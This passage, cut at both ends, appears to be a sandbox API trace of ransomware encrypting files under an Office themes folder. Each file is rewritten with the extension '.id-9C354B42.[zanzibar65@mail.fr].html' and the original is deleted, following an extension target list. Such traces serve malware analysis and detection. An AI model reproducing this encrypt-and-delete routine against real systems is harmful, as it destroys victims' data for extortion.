Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.089] lstrlenW (lpString=".zip") returned 4 [0043.089] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.089] lstrlenW (lpString=".rar") returned 4 [0043.089] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.089] lstrlenW (lpString=".bz2") returned 4 [0043.089] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.089] lstrlenW (lpString=".7z") returned 3 [0043.089] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.089] lstrlenW (lpString=".dbf") returned 4 [0043.089] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.089] lstrlenW (lpString=".1cd") returned 4 [0043.089] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0043.089] lstrlenW (lpString=".jpg") returned 4 [0043.089] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.090] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.090] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.090] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2722) returned 1 [0043.090] CloseHandle (hObject=0x1ac) returned 1 [0043.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0043.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.090] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.090] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.208] GetLastError () returned 0x0 [0043.208] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xaa2, lpOverlapped=0x0) returned 1 [0043.210] WriteFile (in: hFile=0x218, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xab0, lpOverlapped=0x0) returned 1 [0043.210] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.211] WriteFile (in: hFile=0x218, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.211] SetEndOfFile (hFile=0x218) returned 1 [0043.211] CloseHandle (hObject=0x218) returned 1 [0043.211] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.211] SetEndOfFile (hFile=0x1ac) returned 1 [0043.212] CloseHandle (hObject=0x1ac) returned 1 [0043.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.212] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0043.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.212] lstrlenW (lpString=".doc") returned 4 [0043.212] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.212] lstrlenW (lpString=".docx") returned 5 [0043.212] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.212] lstrlenW (lpString=".pdf") returned 4 [0043.212] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.212] lstrlenW (lpString=".xls") returned 4 [0043.212] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.212] lstrlenW (lpString=".xlsx") returned 5 [0043.212] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.213] lstrlenW (lpString=".ppt") returned 4 [0043.213] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.213] lstrlenW (lpString=".zip") returned 4 [0043.213] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.213] lstrlenW (lpString=".rar") returned 4 [0043.213] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.213] lstrlenW (lpString=".bz2") returned 4 [0043.213] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.213] lstrlenW (lpString=".7z") returned 3 [0043.213] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.213] lstrlenW (lpString=".dbf") returned 4 [0043.213] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.213] lstrlenW (lpString=".1cd") returned 4 [0043.213] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.213] lstrlenW (lpString=".jpg") returned 4 [0043.213] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.213] lstrlenW (lpString=".doc") returned 4 [0043.213] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.213] lstrlenW (lpString=".docx") returned 5 [0043.213] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.213] lstrlenW (lpString=".pdf") returned 4 [0043.213] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.213] lstrlenW (lpString=".xls") returned 4 [0043.213] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.213] lstrlenW (lpString=".xlsx") returned 5 [0043.213] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.214] lstrlenW (lpString=".ppt") returned 4 [0043.214] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.214] lstrlenW (lpString=".zip") returned 4 [0043.214] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.214] lstrlenW (lpString=".rar") returned 4 [0043.214] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.214] lstrlenW (lpString=".bz2") returned 4 [0043.214] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.214] lstrlenW (lpString=".7z") returned 3 [0043.214] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.214] lstrlenW (lpString=".dbf") returned 4 [0043.214] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.214] lstrlenW (lpString=".1cd") returned 4 [0043.214] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0043.214] lstrlenW (lpString=".jpg") returned 4 [0043.214] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.214] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.214] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.215] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2044) returned 1 [0043.215] CloseHandle (hObject=0x1ac) returned 1 [0043.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0043.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.216] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.216] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.217] GetLastError () returned 0x0 [0043.217] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7fc, lpOverlapped=0x0) returned 1 [0043.219] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x800, lpOverlapped=0x0) returned 1 [0043.220] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.220] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.220] SetEndOfFile (hFile=0x200) returned 1 [0043.220] CloseHandle (hObject=0x200) returned 1 [0043.220] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.220] SetEndOfFile (hFile=0x1ac) returned 1 [0043.221] CloseHandle (hObject=0x1ac) returned 1 [0043.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.221] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0043.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.221] lstrlenW (lpString=".doc") returned 4 [0043.221] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.221] lstrlenW (lpString=".docx") returned 5 [0043.221] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.221] lstrlenW (lpString=".pdf") returned 4 [0043.221] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.221] lstrlenW (lpString=".xls") returned 4 [0043.221] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.221] lstrlenW (lpString=".xlsx") returned 5 [0043.221] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.222] lstrlenW (lpString=".ppt") returned 4 [0043.222] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.222] lstrlenW (lpString=".zip") returned 4 [0043.222] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".rar") returned 4 [0043.222] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".bz2") returned 4 [0043.222] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString=".7z") returned 3 [0043.222] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.222] lstrlenW (lpString=".dbf") returned 4 [0043.222] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.222] lstrlenW (lpString=".1cd") returned 4 [0043.222] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.222] lstrlenW (lpString=".jpg") returned 4 [0043.222] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.222] lstrlenW (lpString=".doc") returned 4 [0043.222] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString=".docx") returned 5 [0043.222] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.222] lstrlenW (lpString=".pdf") returned 4 [0043.222] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".xls") returned 4 [0043.222] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".xlsx") returned 5 [0043.222] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.223] lstrlenW (lpString=".ppt") returned 4 [0043.223] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.223] lstrlenW (lpString=".zip") returned 4 [0043.223] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.223] lstrlenW (lpString=".rar") returned 4 [0043.223] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.223] lstrlenW (lpString=".bz2") returned 4 [0043.223] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.223] lstrlenW (lpString=".7z") returned 3 [0043.223] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.223] lstrlenW (lpString=".dbf") returned 4 [0043.223] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.223] lstrlenW (lpString=".1cd") returned 4 [0043.223] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0043.223] lstrlenW (lpString=".jpg") returned 4 [0043.223] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.223] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.223] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.224] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=29925) returned 1 [0043.224] CloseHandle (hObject=0x1ac) returned 1 [0043.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0043.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.224] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.224] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.224] GetLastError () returned 0x0 [0043.224] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x74e5, lpOverlapped=0x0) returned 1 [0043.226] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0043.227] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.227] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.227] SetEndOfFile (hFile=0x200) returned 1 [0043.227] CloseHandle (hObject=0x200) returned 1 [0043.228] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.228] SetEndOfFile (hFile=0x1ac) returned 1 [0043.229] CloseHandle (hObject=0x1ac) returned 1 [0043.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.229] lstrlenW (lpString=".doc") returned 4 [0043.229] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.229] lstrlenW (lpString=".docx") returned 5 [0043.229] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.229] lstrlenW (lpString=".pdf") returned 4 [0043.229] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.229] lstrlenW (lpString=".xls") returned 4 [0043.229] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.229] lstrlenW (lpString=".xlsx") returned 5 [0043.229] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.229] lstrlenW (lpString=".ppt") returned 4 [0043.229] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.229] lstrlenW (lpString=".zip") returned 4 [0043.229] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.230] lstrlenW (lpString=".rar") returned 4 [0043.230] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.230] lstrlenW (lpString=".bz2") returned 4 [0043.230] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.230] lstrlenW (lpString=".7z") returned 3 [0043.230] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.230] lstrlenW (lpString=".dbf") returned 4 [0043.230] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.230] lstrlenW (lpString=".1cd") returned 4 [0043.230] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.230] lstrlenW (lpString=".jpg") returned 4 [0043.230] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.230] lstrlenW (lpString=".doc") returned 4 [0043.230] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.230] lstrlenW (lpString=".docx") returned 5 [0043.230] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.230] lstrlenW (lpString=".pdf") returned 4 [0043.230] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.230] lstrlenW (lpString=".xls") returned 4 [0043.230] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.230] lstrlenW (lpString=".xlsx") returned 5 [0043.230] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.230] lstrlenW (lpString=".ppt") returned 4 [0043.230] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.230] lstrlenW (lpString="C:\\Program 